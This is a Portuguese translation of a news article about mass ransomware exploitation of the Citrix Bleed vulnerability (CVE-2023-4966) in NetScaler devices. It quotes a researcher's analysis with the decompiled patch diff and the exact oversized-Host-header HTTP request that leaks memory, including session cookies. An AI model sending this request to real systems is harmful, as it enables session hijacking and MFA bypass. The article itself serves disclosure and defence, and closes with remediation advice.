“Esta vulnerabilidade está agora sob exploração em massa.” Inseto Citrix Bleed morde forte

Uma vulnerabilidade que permite que invasores contornem a autenticação multifator e acessem redes corporativas usando hardware vendido pela Citrix está sendo explorada em massa por hackers de ransomware, apesar de um patch estar disponível há três semanas.

Citrix Bleed, o nome comum para a vulnerabilidade, carrega uma classificação de gravidade de 9,4 em 10 possíveis, uma designação relativamente alta para um mero bug de divulgação de informações. O motivo: as informações divulgadas podem incluir tokens de sessão, que o hardware atribui a dispositivos que já forneceram credenciais com sucesso, incluindo aqueles que fornecem MFA. A vulnerabilidade, rastreada como CVE-2023-4966 e residente no NetScaler Application Delivery Controller e NetScaler Gateway da Citrix, está sob exploração ativa desde agosto. A Citrix lançou um patch em 10 de outubro.

Repita: isso não é um exercício

Os ataques só aumentaram recentemente, o que levou o investigador de segurança Kevin Beaumont a declarar no sábado: “Esta vulnerabilidade está agora sob exploração em massa”. Ele prosseguiu dizendo: “Ao conversar com várias organizações, elas estão vendo uma exploração generalizada”.

Ele disse que até sábado encontrou cerca de 20.000 casos de dispositivos Citrix explorados onde tokens de sessão foram roubados. Ele disse que sua estimativa foi baseada na operação de um honeypot de servidores que se disfarçam como dispositivos Netscaler vulneráveis ​​para rastrear ataques oportunistas na Internet. Beaumont então comparou esses resultados com outros dados, incluindo alguns fornecidos pela Netflow e pelo mecanismo de busca Shodan.

Enquanto isso, GreyNoise, uma empresa de segurança que também implanta honeypots, estava mostrando explorações para CVE-2023-4966 provenientes de 135 endereços IP quando esta postagem foi publicada no Ars. Isso representa um aumento de 27 vezes em relação aos cinco IPs detectados pela GreyNoise há cinco dias.

Os números mais recentes disponibilizados pela organização de segurança Shadowserver mostraram que havia cerca de 5.500 dispositivos sem patch. Beaumont reconheceu que a estimativa está em desacordo com a sua estimativa de 20.000 dispositivos comprometidos. Não está imediatamente claro o que estava causando a discrepância.

A vulnerabilidade é relativamente fácil de ser explorada por pessoas experientes. Uma simples engenharia reversa do patch lançado pela Citrix mostra as funções que são vulneráveis ​​e, a partir daí, não é difícil escrever código que as explore. Para tornar os ataques ainda mais fáceis, algumas explorações de prova de conceito estão disponíveis online.

Numa análise técnica detalhada, os pesquisadores da Assetnote escreveram:

Encontramos duas funções que se destacaram ns_aaa_oauth_send_openid_config e ns_aaa_oauthrp_send_openid_config. Ambas as funções executam uma operação semelhante, elas implementam o endpoint OpenID Connect Discovery. As funções são acessíveis não autenticadas através do /oauth/idp/.well-known/openid-configuration e /oauth/rp/.well-known/openid-configuration pontos finais respectivamente.

Ambas as funções também incluíram o mesmo patch, uma verificação adicional de limites antes de enviar a resposta. Isso pode ser visto nos trechos abaixo mostrando o antes e depois de ns_aaa_oauth_send_openid_config.

Original

iVar3 = snprintf(print_temp_rule,0x20000,
           	"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"
           	,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

Remendado

uVar7 = snprintf(print_temp_rule,0x20000,
           	"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"
           	,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
	authv2_json_resp = 1;
	iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
	...
}

A função é bastante simples, ela gera uma carga JSON para a configuração do OpenID e usa snprintf para inserir o nome do host do dispositivo nos locais apropriados na carga útil. Na versão original, a resposta é enviada imediatamente. Na versão corrigida, a resposta só é enviada se snprintf retorna um valor menor que 0x20000.

A vulnerabilidade ocorre porque o valor de retorno de snprintf é usado para determinar quantos bytes são enviados ao cliente por ns_vpn_send_response. Isto é um problema porque snprintf não retorna quantos bytes ele fez escrever no buffer, snprintf retorna quantos bytes ele teria gravado no buffer se o buffer fosse grande o suficiente.

Para explorar isso, tudo o que precisávamos fazer era descobrir como fazer com que a resposta excedesse o tamanho do buffer de 0x20000 bytes. O aplicativo responderia então com o buffer completamente preenchido, mais qualquer memória imediatamente após o print_temp_rule amortecedor.

‍Explorando o endpoint

Inicialmente pensamos que o endpoint provavelmente não seria explorável. Os únicos dados inseridos foram o nome do host, que precisava de acesso de administrador para ser configurado. Felizmente para nós, erramos e o valor inserido na carga útil não veio do nome do host configurado. Na verdade, veio do HTTP Host cabeçalho.

Também tivemos a sorte de o NetScaler inserir o nome do host na carga útil seis vezes, pois isso significava que poderíamos atingir o limite de buffer de 0x20000 bytes sem ter problemas porque o Host cabeçalho ou toda a solicitação era muito longa.

Reunimos a seguinte solicitação e a enviamos para nossa instância do NetScaler.

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

Recebemos a resposta mostrada abaixo com os caracteres não imprimíveis removidos.

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

Pudemos ver claramente muito vazamento de memória imediatamente após a carga JSON. Embora muitos deles fossem bytes nulos, havia algumas informações suspeitas na resposta.

O nome Citrix Bleed é uma alusão ao Heartbleed, uma vulnerabilidade diferente de divulgação de informações críticas que virou a Internet de cabeça para baixo em 2014. Essa vulnerabilidade, que residia na biblioteca de códigos OpenSSL, foi explorada em massa e permitiu o roubo de senhas e chaves de criptografia. , credenciais bancárias e todos os tipos de outras informações confidenciais. Citrix Bleed não é tão terrível porque há menos dispositivos vulneráveis ​​em uso.

Mas Citrix Bleed ainda é muito ruim. As organizações devem considerar que todos os dispositivos Netscaler foram comprometidos. Isso significa corrigir quaisquer dispositivos restantes sem patch. Em seguida, todas as credenciais devem ser alternadas para garantir que quaisquer tokens de sessão que possam ter vazado sejam invalidados. Por último, as organizações devem inspecionar os seus dispositivos e infraestrutura em busca de sinais de comprometimento. A empresa de segurança Mandiant oferece orientações detalhadas sobre segurança aqui.